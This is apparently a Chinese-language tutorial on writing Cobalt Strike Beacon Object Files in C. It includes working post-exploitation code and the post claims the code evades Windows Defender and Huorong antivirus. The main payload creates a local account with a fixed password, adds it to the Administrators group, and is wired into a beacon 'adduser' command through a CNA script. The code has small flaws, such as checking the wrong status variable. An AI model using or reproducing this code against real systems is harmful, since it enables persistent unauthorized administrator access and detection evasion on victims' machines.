什么是Beacon Object File (BOF)?

引用一下gpt~

Beacon Object File (BOF) 是一种特殊的二进制文件格式,用于在Cobalt Strike的Beacon模块中运行自定义代码。BOF文件是用C语言编写的,然后通过特定工具链编译成适合在Beacon上下文中加载和执行的二进制格式。

BOF的用途

1. 扩展Beacon功能:通过BOF,可以在Cobalt Strike中添加自定义功能,扩展Beacon的能力。这对于需要特殊或定制化功能的红队活动非常有用。

2. 减少检测:BOF文件通常比传统的可执行文件或脚本更难被防病毒软件检测到,因为它们直接在内存中加载和执行,而不需要在磁盘上写入文件。

3. 高效执行:由于BOF文件是用C语言编写并编译的,因此它们可以比用脚本语言编写的模块更高效地执行复杂的任务。

BOF的工作原理

1. 编写C代码:编写一个C程序,实现你需要的功能。这个C程序将使用特定的API和结构,以便能够在Beacon中正确加载和执行。

2. 编译成BOF:使用特定的工具链(例如Cobalt Strike提供的MinGW-w64工具链)将C代码编译成BOF格式。

3. 加载和执行:在Cobalt Strike中,使用特定的命令将BOF文件加载到Beacon中并执行。

模版导入

BOF模版文件

https://github.com/securifybv/Visual-Studio-BOF-template

把模版文件放入

C:\Users\test\Documents\Visual Studio 2022\Templates\ProjectTemplates\

目录下

选中bof直接编译即可

代码文件~后续持续更新

输出测试

#include "bofdefs.h"

extern "C" {

#ifdef BOF

void go(char* buff, int len) {

BeaconPrintf(CALLBACK_OUTPUT, "Hello, World!");

#endif

}

}

#ifndef BOF

void main(int argc, char* argv[]) {

go(NULL, 0);

}

#endif

用户名

#include

#include

#include "bofdefs.h"

#pragma region error_handling

#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)

BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {

#ifdef BOF

BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);

#else

printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);

#endif // BOF

return FALSE;

}

#pragma endregion

DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);

DECLSPEC_IMPORT DWORD WINAPI User32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT);

#ifdef BOF

void go(char* buff, int len) {

char username[1024];

DWORD usernameLength = sizeof username;

ADVAPI32$GetUserNameA(username, &usernameLength);

BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);

User32$MessageBoxA(0, 0, 0, 0);

}

#else

void main(int argc, char* argv[]) {

}

#endif

添加用户(可过df 火绒)

#include

#include

#include

#include "bofdefs.h"

#pragma region error_handling

#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)

BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {

#ifdef BOF

BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);

#else

printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);

#endif // BOF

return FALSE;

}

#pragma endregion

DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);

DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

#ifdef BOF

void go(char* buff, int len) {

if (!BeaconIsAdmin()) {

BeaconPrintf(CALLBACK_OUTPUT, "非管理权限");

return;

}

LPCWSTR username = L"sanfortest";

LPCWSTR password = L"san!@#123";

USER_INFO_1 ui;

DWORD dwLevel = 1;

DWORD dwError = 0;

ZeroMemory(&ui, sizeof(ui));

ui.usri1_name = (LPWSTR)username;

ui.usri1_password = (LPWSTR)password;

ui.usri1_priv = USER_PRIV_USER;

ui.usri1_home_dir = NULL;

ui.usri1_comment = NULL;

ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;

ui.usri1_script_path = NULL;

NET_API_STATUS nStatus = NETAPI32$NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError);

if (nStatus == NERR_Success) {

LOCALGROUP_MEMBERS_INFO_3 account;

account.lgrmi3_domainandname = (LPWSTR)username;

NET_API_STATUS aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);

if (nStatus == NERR_Success) {

BeaconPrintf(CALLBACK_OUTPUT, " %ls 用户、管理员组添加成功\n", username);

BeaconPrintf(CALLBACK_OUTPUT, "用户名: %ls,密码:%ls\n", username, password);

}

else {

BeaconPrintf(CALLBACK_OUTPUT, "用户 %ls 管理员组添加失败", username);

}

}

else {

BeaconPrintf(CALLBACK_OUTPUT, "User added error %d", nStatus);

}

}

#else

void main(int argc, char* argv[]) {

}

#endif

CNA知识

beacon_command_register(

"adduser",

"Add a user to administrators",

"usage: adduser"

);

alias adduser {

local('$handle $data'); # 声明局部变量

# 读入bof文件

$handle = openf(script_resource("source.obj"));

$data = readb($handle, -1);

closef($handle);

# 执行bof

# "adduser" 是 BOF 中的函数名

beacon_inline_execute($1, $data, "go");

}

1. 命令注册:

• beacon_command_register 用于注册一个新的命令 adduser,并提供命令的描述和使用说明。

2. 别名定义:

• alias adduser 定义了 adduser 命令的具体实现。

3. 局部变量声明:

• local('$handle $data') 声明了 handle 和 data 作为局部变量,这些变量只在 adduser 命令别名中有效。

4. 读取BOF文件:

• 使用 openf 打开 BOF 文件 source.obj 并读取其内容:$data = readb($handle, -1);。

5. 执行BOF:

• 使用 beacon_inline_execute 执行 BOF,传递会话ID、文件内容和函数名:beacon_inline_execute($1, $data, "adduser");。

• $1:会话ID,指示在哪个会话上下文中执行命令。 默认$1就行了

参考链接

https://cn-sec.com/archives/2250195.html